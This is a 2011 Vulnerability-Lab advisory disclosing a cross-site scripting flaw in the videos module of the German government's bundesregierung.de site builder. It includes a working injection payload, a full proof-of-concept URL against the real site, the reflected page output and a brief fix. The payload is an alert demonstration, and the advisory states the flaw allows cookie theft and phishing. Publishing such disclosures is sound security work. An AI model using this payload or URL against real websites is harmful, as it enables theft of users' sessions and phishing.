Bundesregierung Website Cross Site Scripting

`Title:  
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Bundesregierung Website - Cross Site Scripting Vulnerability  
  
  
Date:  
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2011-12-18  
  
  
References:  
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http://www.vulnerability-lab.com/get_content.php?id=346  
  
  
VL-ID:  
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346  
  
  
Introduction:  
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Der Government Site Builder (GSB) wurde als zentrale Content-Management-Lösung für die Webangebote der deutschen   
Bundesverwaltung entwickelt. Er entstand im Rahmen der E-Government-Initiative BundOnline 2005 als Basiskomponente   
Content-Management-System (CMS) für die Internet-, Intranet- sowie Extranet-Aktivitäten der Bundesverwaltung und liegt   
seit Februar 2011 in der Version 4.1 vor.  
  
(Copy of the Vendor Website: http://www.bundesregierung.de)  
  
  
Abstract:  
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A Vulnerability-Lab researcher discovered a non reflective cross site scripting vulnerability in the government site builder CMS.  
  
  
Report-Timeline:  
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2011-12-18: Public or Non-Public Disclosure  
  
  
Status:  
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Published  
  
  
Exploitation-Technique:  
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Remote  
  
  
Severity:  
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Low  
  
  
Details:  
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A non reflective cross site scripting vulnerability is detected in the media module of the government site builder.   
The bug allows an attacker to steal admin and user cookies or build a phishing layer over the page with a prepared link.  
  
Vulnerable Module(s):  
[+] videos.html  
  
Vulnerable Param(s):  
  
[+] ?page=  
  
Important Param(s):  
  
[+] &view=coverflow  
  
  
Proof of Concept:  
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The vulnerability can be exploited by remote attacker with required user inter action. For demonstration or reproduce ...  
  
PoC:  
"};</script><iframe src=//www.vulnerability-lab.com/ onload=alert('CrossSiteScripting')>  
  
Reference(s):  
www.bundesregierung.de/Webs/Breg/DE/Mediathek/Videos/videos.html?page=2"};</script><iframe src=//www.vulnerability-lab.com/   
onload=alert('CrossSiteScripting')>sortString=-dateOfIssue&view=coverflow  
  
--- Output Review ---  
var flashvars = {  
file: "/Webs/Breg/DE/Mediathek/Videos/Functions/FilterListeTabelle-Coverflow,templateId=r  
enderCoverflowXML,nnp=670562.xml?view=coverflow%26page=2"};</script><iframe src=//www.vulnerability-lab.com/   
onload=alert('CrossSiteScripting')>sortString=-dateOfIssue",  
vars: ""  
};  
  
  
Solution:  
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To fix the security issue the manufacturer have to allow only numbers in the vulnerable parameter. It is always a good idea to   
check all inputs with a whitelist of expect inputs. There are also techniques to block requests to other domains.  
  
  
Risk:  
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The security risk of the reflective xss vulnerability is estimated as low(+).  
  
  
Credits:  
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Vulnerability Research Laboratory - Alexander Fuchs (f0x23)  
  
  
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